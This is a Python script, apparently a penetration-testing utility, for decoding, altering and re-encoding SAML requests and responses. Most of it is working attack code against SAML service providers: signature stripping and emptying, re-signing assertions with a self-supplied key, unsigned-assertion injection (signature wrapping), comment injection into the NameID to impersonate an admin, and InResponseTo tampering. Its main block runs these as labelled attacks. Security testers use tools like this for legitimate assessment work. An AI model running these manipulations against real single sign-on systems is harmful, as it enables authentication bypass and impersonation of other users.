#!/usr/bin/env python
"""
Utility Python3 script to manually alter a SAML Request/Response in order to manually inspect the behavior of a service validating/using the SAML Request/Response.

Useful to analyze specific cases returning a different/strange response content/code/length during the application study.

Dependencies:
    pip install lxml signxml cryptography

References:
    https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations
    https://stackoverflow.com/questions/64295570/sign-saml-response-in-python
    https://signxml.readthedocs.io/en/latest/
    https://www.samltool.com/format_x509cert.php
    https://github.com/onelogin/python-saml/blob/master/src/onelogin/saml2/utils.py
    https://samltool.io/
    https://www.identityserver.com/articles/the-dangers-of-saml-idp-initiated-sso

PEM format expected for the Certificate and the Private key - Key pair length must be >= 2048 bits:
    Certificate:
        -----BEGIN CERTIFICATE-----
        MIIC/zCCA...
        -----END CERTIFICATE-----

    Private key:
        -----BEGIN PRIVATE KEY-----
        MIIEvAIBA...
        -----END PRIVATE KEY-----
"""
import base64
import urllib.parse
import re
import zlib
import uuid
from lxml import etree
from signxml import XMLSigner, methods, XMLVerifier
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from collections import Counter

DEFAULT_ENCODING = "utf-8"
DEBUG = True
SAML_NAMESPACES = {
    "md": "urn:oasis:names:tc:SAML:2.0:metadata",
    "ds": "http://www.w3.org/2000/09/xmldsig#",
    "samlp": "urn:oasis:names:tc:SAML:2.0:protocol",
    "saml": "urn:oasis:names:tc:SAML:2.0:assertion",
    "xenc": "http://www.w3.org/2001/04/xmlenc#",
    "xs": "http://www.w3.org/2001/XMLSchema",
    "xsi": "http://www.w3.org/2001/XMLSchema-instance"
}


def decode_saml_response(saml_content):
    return base64.b64decode(saml_content.encode(DEFAULT_ENCODING)).decode(DEFAULT_ENCODING)


def encode_saml_response(saml_content):
    return base64.b64encode(saml_content.encode(DEFAULT_ENCODING)).decode(DEFAULT_ENCODING)


def decode_saml_request(saml_content):
    # Taken from
    # https://github.com/onelogin/python-saml/blob/master/src/onelogin/saml2/utils.py#L98
    decoded = base64.b64decode(saml_content.encode(DEFAULT_ENCODING))
    try:
        result = zlib.decompress(decoded, -15)
    except Exception:
        result = decoded
    return result.decode(DEFAULT_ENCODING)


def encode_saml_request(saml_content):
    # Taken from
    # https://github.com/onelogin/python-saml/blob/master/src/onelogin/saml2/utils.py#L116
    return base64.b64encode(zlib.compress(saml_content.encode(DEFAULT_ENCODING))[2:-4])


def load_from_file(saml_content_file_location):
    with open(saml_content_file_location, "r", encoding=DEFAULT_ENCODING) as f:
        saml_content = urllib.parse.unquote(f.read())
    return saml_content


def save_to_file(saml_content_file_location, saml_content, url_encode=True):
    with open(saml_content_file_location, "w", encoding=DEFAULT_ENCODING) as f:
        content = saml_content
        if url_encode:
            content = urllib.parse.quote(content)
        f.write(content)


def extract_nodes(xpath_expr, saml_content, namespaces=SAML_NAMESPACES):
    # See XPath supported syntax on
    # https://docs.python.org/3/library/xml.etree.elementtree.html#xpath-support
    root = etree.fromstring(saml_content)
    return root.findall(xpath_expr, namespaces)


def find_node_namespace(saml_content, node_name, default_ns_name=""):
    ns_name = default_ns_name
    occrs = re.findall(f"</([a-zA-Z0-9]+):{node_name}>", saml_content)
    if len(occrs) > 0:
        ns_name = occrs[0]
    return ns_name


def signature_omits_comments(saml_content):
    # See explanation on https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations
    algos_not_omitting_comments_in_signature = ["http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments",
                                                "http://www.w3.org/2001/10/xml-exc-c14n#WithComments",
                                                "http://www.w3.org/2006/12/xml-c14n11#WithComments"]
    result = True
    ns = find_node_namespace(saml_content, "CanonicalizationMethod", "ds")
    if ns != "":
        ns += ":"
    nodes = extract_nodes(f".//{ns}CanonicalizationMethod", saml_content)
    for node in nodes:
        if node.attrib["Algorithm"] in algos_not_omitting_comments_in_signature:
            result = False
    return result


def remove_assertion_signatures(saml_content):
    # Remove completely the node "<ds:SignatureValue></ds:SignatureValue>" from the assertion signature of a SAML response
    # Exploit a case in which the Service Provider verify the signature only if it is present
    # Use a string approach to not risk to alter the response with an XML parser if it was already altered in case of vulnerabilities chaining
    ns = find_node_namespace(saml_content, "Signature", "ds")
    if ns != "":
        ns += ":"
    start_sig = saml_content.find(f"<{ns}Signature")
    t = f"</{ns}Signature>"
    end_sig = saml_content.find(t) + len(t)
    saml_content_altered = saml_content[:start_sig] + saml_content[end_sig:]
    return saml_content_altered


def set_assertion_empty_signatures(saml_content):
    # Remove the content of the node "<ds:SignatureValue></ds:SignatureValue>" from the assertion signature of a SAML response
    # Exploit a case in which the Service Provider verify the signature only if it is present
    # Use a string approach to not risk to alter the response with an XML parser if it was already altered in case of vulnerabilities chaining
    ns = find_node_namespace(saml_content, "Signature", "ds")
    if ns != "":
        ns += ":"
    start_sig = saml_content.find(f"<{ns}Signature")
    t = f"</{ns}Signature>"
    end_sig = saml_content.find(t) + len(t)
    saml_content_altered = saml_content[:start_sig] + f"<ds:SignatureValue xmlns:ds=\"{SAML_NAMESPACES['ds']}\"></ds:SignatureValue>" + saml_content[end_sig:]
    return saml_content_altered


def sign_saml_response_assertion(saml_content, certificate_pem_file, private_key_pem_content, canonicalization_algo="http://www.w3.org/2001/10/xml-exc-c14n#", signature_algo="rsa-sha256", digest_algo="sha256"):
    # Load signing private key and certificate
    sign_pk = serialization.load_pem_private_key(private_key_pem_content.encode(DEFAULT_ENCODING), password=None)
    with open(certificate_pem_file, mode="r", encoding=DEFAULT_ENCODING) as f:
        certificate_pem_content = f.read()
    sign_cert = x509.load_pem_x509_certificate(certificate_pem_content.encode(DEFAULT_ENCODING))
    # Find the current namespace associated to the Signature node because it is not always "ds" - Ref: </ns3:Signature>
    signature_current_ns_name = find_node_namespace(saml_content, "Signature", "ds")
    # Same for the Subject node - Ref: </ns3:Subject>
    subject_current_ns_name = find_node_namespace(saml_content, "Subject")
    # Same for the Assertion node - Ref: </ns3:Assertion>
    assertion_current_ns_name = find_node_namespace(saml_content, "Assertion")
    # Remove any existing '<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">...</ds:Signature>' node
    # /!!!\ Currently only support a single Assertion node in a SAML response
    while f"</{signature_current_ns_name}:Signature>" in saml_content:
        start = saml_content.index(f"<{signature_current_ns_name}:Signature")
        end = saml_content.index(f"</{signature_current_ns_name}:Signature>")
        saml_content = saml_content[:start] + saml_content[end+len(f"</{signature_current_ns_name}:Signature>"):]
    # Taken from https://stackoverflow.com/a/64355750
    # Extract the ID of the assertion to sign
    assertion_node_name = "Assertion"
    if len(assertion_current_ns_name) > 0:
        assertion_node_name = f"{assertion_current_ns_name}:Assertion"
    assertion_nodes = re.findall(f"<{assertion_node_name}\s*.*?\s*ID=\"(.*?)\"", saml_content)
    assertion_identifier = assertion_nodes[0]
    # Perform the signature of the assertion
    saml_root = etree.fromstring(saml_content)
    xml_signer = XMLSigner(c14n_algorithm=canonicalization_algo, signature_algorithm=signature_algo, digest_algorithm=digest_algo, method=methods.enveloped)
    signed_saml_root = xml_signer.sign(saml_root, key=sign_pk, cert=[sign_cert], reference_uri=assertion_identifier)
    # Verify that the created signature is valid
    status = XMLVerifier().verify(signed_saml_root, ca_pem_file=certificate_pem_file)
    if status is None or status.signed_xml is None or status.signed_xml.attrib is None or len(status.signed_xml.attrib) == 0:
        raise Exception("Cannot verify the signature!")
    if status.signed_xml.attrib["ID"] != assertion_identifier:
        raise Exception("Assertion identifier mismatch!")
    signed_saml_root_str = etree.tostring(signed_saml_root, encoding="unicode")
    # Move the Signature node into the Assertion node (update the namespace used by the signature because the signature operation can change it)
    signature_current_ns_name = find_node_namespace(signed_saml_root_str, "Signature", "ds")
    signature_block_start = signed_saml_root_str.index(f"<{signature_current_ns_name}:Signature")
    signature_block_end = signed_saml_root_str.index(f"</{signature_current_ns_name}:Signature>")
    signature_block = signed_saml_root_str[signature_block_start:signature_block_end + len(f"</{signature_current_ns_name}:Signature>")]
    signature_block = signature_block.replace("\n", "")
    signed_saml_root_str = signed_saml_root_str[:signature_block_start] + signed_saml_root_str[signature_block_end + len(f"</{signature_current_ns_name}:Signature>"):]
    subject_tag_name = "<Subject>"
    if subject_tag_name not in signed_saml_root_str and len(subject_current_ns_name) > 0:
        subject_tag_name = f"<{subject_current_ns_name}:Subject>"
    signed_saml_root_str = signed_saml_root_str.replace(subject_tag_name, f"{signature_block}{subject_tag_name}")
    return signed_saml_root_str


def extract_algorithms_used(saml_content):
    algos = {"Signature": [], "Digest": []}
    for type_algo in algos:
        ns = find_node_namespace(saml_content, f"{type_algo}Method", "ds")
        if ns != "":
            ns += ":"
        nodes = extract_nodes(f".//{ns}{type_algo}Method", saml_content)
        for node in nodes:
            alg = node.attrib["Algorithm"].split("#")[1].lower().strip()
            if alg not in algos[type_algo]:
                algos[type_algo].append(alg)
    return algos


def extract_certificate_infos(saml_content):
    certs = []
    ns = find_node_namespace(saml_content, "X509Certificate", "ds")
    occurences = re.findall(f"<{ns}:X509Certificate>([a-zA-Z0-9/\n+=]*)", saml_content)
    for occurence in occurences:
        cert_base64 = occurence.replace("\n", "").replace(" ", "")
        pem_data = base64.b64decode(cert_base64.encode(DEFAULT_ENCODING))
        try:
            certif = x509.load_der_x509_certificate(pem_data)
            certs.append({"Fingerprint": certif.fingerprint(hashes.SHA256()).hex(),
                          "Version": certif.version,
                          "Issuer": certif.issuer,
                          "Subject": certif.subject,
                          "NotValidBefore": certif.not_valid_before,
                          "NotValidAfter": certif.not_valid_after})
        except Exception as e:
            certs.clear()
            certs.append({"Error": str(e)})

    return certs


def add_unsigned_assertion_into_saml_response(saml_content, assertion_content, add_on_top=True, use_assertion_id_from_signed_one=False, add_default_assertion_namespace=False):
    # First capture the value of time/session/saml-request related attributes of the signed assertion to sync them in the new added assertion
    issue_instant = ""
    sync_attribute_names = ["IssueInstant", "NotBefore", "NotOnOrAfter", "AuthnInstant", "SessionIndex", "SessionNotOnOrAfter", "InResponseTo"]
    for sync_attribute_name in sync_attribute_names:
        # Capture value from the signed assertion and replicate it into the new assertion content
        regex = f"{sync_attribute_name}=\"(.*?)\""
        values = re.findall(regex, saml_content)
        if len(values) > 0:
            value = values[0]
            if sync_attribute_name == "IssueInstant":
                issue_instant = value
            assertion_content = re.sub(f"{sync_attribute_name}=\"(.*?)\"", f"{sync_attribute_name}=\"{value}\"", assertion_content)
    # Handle possible existing namespaces
    assertion_current_ns_name = find_node_namespace(saml_content, "Assertion")
    nsp = ""
    if len(assertion_current_ns_name) > 0:
        nsp = f"xmlns:{assertion_current_ns_name}=\"{SAML_NAMESPACES['saml']}\""
        assertion_current_ns_name += ":"
    # Use a string approach to not risk to alter the response with an XML parser if it was already altered in case of vulnerabilities chaining
    updated_content = saml_content
    if not add_default_assertion_namespace:
        assertion_tpl = f"<{assertion_current_ns_name}Assertion {nsp} ID=\"%s\" IssueInstant=\"{issue_instant}\" Version=\"2.0\">%s</{assertion_current_ns_name}Assertion>"
    else:
        assertion_tpl = f"<Assertion xmlns=\"{SAML_NAMESPACES['saml']}\" ID=\"%s\" IssueInstant=\"{issue_instant}\" Version=\"2.0\">%s</Assertion>"
    new_assertion_uid = str(uuid.uuid4())
    if use_assertion_id_from_signed_one:
        new_assertion_uid = re.findall(f"<{assertion_current_ns_name}Assertion\s*.*?\s*ID=\"(.*?)\"", saml_content)[0]
    new_assertion = assertion_tpl % (new_assertion_uid, assertion_content)
    if add_on_top:
        assertion_tag_ref = f"<{assertion_current_ns_name}Assertion "
        position = updated_content.index(assertion_tag_ref)
        updated_content = updated_content[:position] + new_assertion + updated_content[position:]
    else:
        assertion_tag_ref = f"</{assertion_current_ns_name}Assertion>"
        position = updated_content.rindex(assertion_tag_ref)
        updated_content = updated_content[:position+len(assertion_tag_ref)] + new_assertion + updated_content[position+len(assertion_tag_ref):]
    return updated_content


def expiration_date_is_consistent(saml_content):
    values = []
    nodes = extract_nodes(".//*[@NotOnOrAfter]", saml_content)
    for node in nodes:
        dte = node.attrib["NotOnOrAfter"]
        if dte not in values:
            values.append(dte)
    return f"Expiration date is consistent? {(len(values) == 1)} ({','.join(values)})."


def alter_inresponseto_property_into_saml_response(saml_content, remove_xml_attribute=False):
    attribute_name = "InResponseTo"
    if not remove_xml_attribute:
        # Replace the identifier of the associated SAML request by a fresh random UUID
        # to create a SAML IdP-Initiated SSO flow
        saml_request_identifiers = re.findall(f"{attribute_name}=\"(.*?)\"", saml_content)
        occurences = Counter(saml_request_identifiers)
        if len(occurences) > 1:
            raise Exception(f"There is several SAML resquest identifiers: {','.join(saml_request_identifiers)}!")
        saml_response_altered = saml_content.replace(saml_request_identifiers[0], str(uuid.uuid4()))
    else:
        # Remove all occurences of the string 'InResponseTo="xxx"'
        # to create a SAML IdP-Initiated SSO flow
        regex = f"({attribute_name}=\".*?\")"
        saml_response_altered = saml_content
        occurences = re.findall(regex, saml_response_altered)
        while len(occurences) != 0:
            saml_response_altered = saml_response_altered.replace(occurences[0], "")
            occurences = re.findall(regex, saml_response_altered)
    return saml_response_altered


if __name__ == "__main__":
    # ---------------------------------------------
    # Workspace context
    # ---------------------------------------------
    input_saml_response_file = "1-saml_response_encoded.txt"
    output_saml_response_file = "2-saml_response_encoded_altered.txt"
    debug_file = "3-saml_debug.xml"
    sign_certificate_file = "4-fake.crt"
    with open("5-fake.key", mode="r", encoding=DEFAULT_ENCODING) as f:
        private_key_pem_content = f.read()
    input_saml_request_file = "6-saml_request_encoded.txt"
    output_saml_request_file = "7-saml_request_encoded_altered.txt"
    new_unsigned_assertion_saml_request_file = "8-saml_request_new_unsigned_assertion.txt"
    with open(new_unsigned_assertion_saml_request_file, mode="r", encoding=DEFAULT_ENCODING) as f:
        saml_request_new_assertion_content = f.read().replace("\n", "")

    # ---------------------------------------------
    # Do action on SAML Request content
    # ---------------------------------------------

    # -- Load and decode the SAML Request content
    # saml_content = decode_saml_request(load_from_file(input_saml_request_file))

    # -- Update the destination SP
    # saml_content = saml_content.replace('X', 'Y')

    # -- Encode and save the altered SAML Request content
    # save_to_file(output_saml_request_file, encode_saml_request(saml_content))

    # ---------------------------------------------
    # Do action on SAML Response content
    # ---------------------------------------------

    # -- Load and decode the SAML Response content
    saml_content = decode_saml_response(load_from_file(input_saml_response_file))

    # -- Print algorithms used for Signature and Digest as well as Signature canonicalization as well as Certificate infos
    # print(extract_algorithms_used(saml_content))
    # print(f"Signature omits comments? {signature_omits_comments(saml_content)}")
    # print(extract_certificate_infos(saml_content))

    # -- Print if expiration date defined is consistent or not
    # print(expiration_date_is_consistent(saml_content))

    # -- Attack with direct UID replacement without modifying the assertion signature
    # saml_content = saml_content.replace("RIGHETTO", "<!--BEFORE-->RIGHETTO<!--AFTER-->", count=1)

    # -- Attack with Comment injection: Require that signature omits comments !!!
    # print(f"Signature omits comments? {signature_omits_comments(saml_content)}")
    # saml_content = saml_content.replace("admin@test.com", "admin@test.co<!--x-->m")

    # -- Attack with signature stripping
    # saml_content = set_assertion_empty_signatures(saml_content)
    # saml_content = remove_assertion_signatures(saml_content)

    # -- Attack with re-signing a SAML response with a specified key pair and certificate
    # print(f"Original signer certificate:\n{extract_certificate_infos(saml_content)}")
    # saml_content = sign_saml_response_assertion(saml_content, sign_certificate_file, private_key_pem_content)
    # print(f"Signer certificate now:\n{extract_certificate_infos(saml_content)}")

    # -- Attack with adding of an new unsigned assertion on the top of the first signed assertion (or bottom after to last signed assertion) to abuse
    # -- the fact that when retrieving the NameID, the SAML library or the application leveraging the SAML library
    # -- may not return the same NameID as the one it verified.
    # Utility function prototype:
    # (saml_content, assertion_content, add_on_top=True, use_assertion_id_from_signed_one=False, add_default_assertion_namespace=False)
    # saml_content = add_unsigned_assertion_into_saml_response(saml_content, saml_request_new_assertion_content, False, False, True)

    # -- Attack by altering the "InResponseTo" attribute to create a SAML IdP-Initiated SSO flow
    # -- Case 1: Replace the value of the "InResponseTo" attribute by a fresh UUID
    saml_content = alter_inresponseto_property_into_saml_response(saml_content, False)
    # -- Case 2: Remove the "InResponseTo" attribute from the SAML response
    # saml_content = alter_inresponseto_property_into_saml_response(saml_content, True)

    # -- Encode and save the altered SAML Response content
    save_to_file(output_saml_response_file, encode_saml_response(saml_content))

    # ---------------------------------------------
    # Save raw non base64 encoded
    # (or deflated in case of SAML request)
    # content for debugging purpose
    # ---------------------------------------------
    if DEBUG:
        save_to_file(debug_file, saml_content, False)
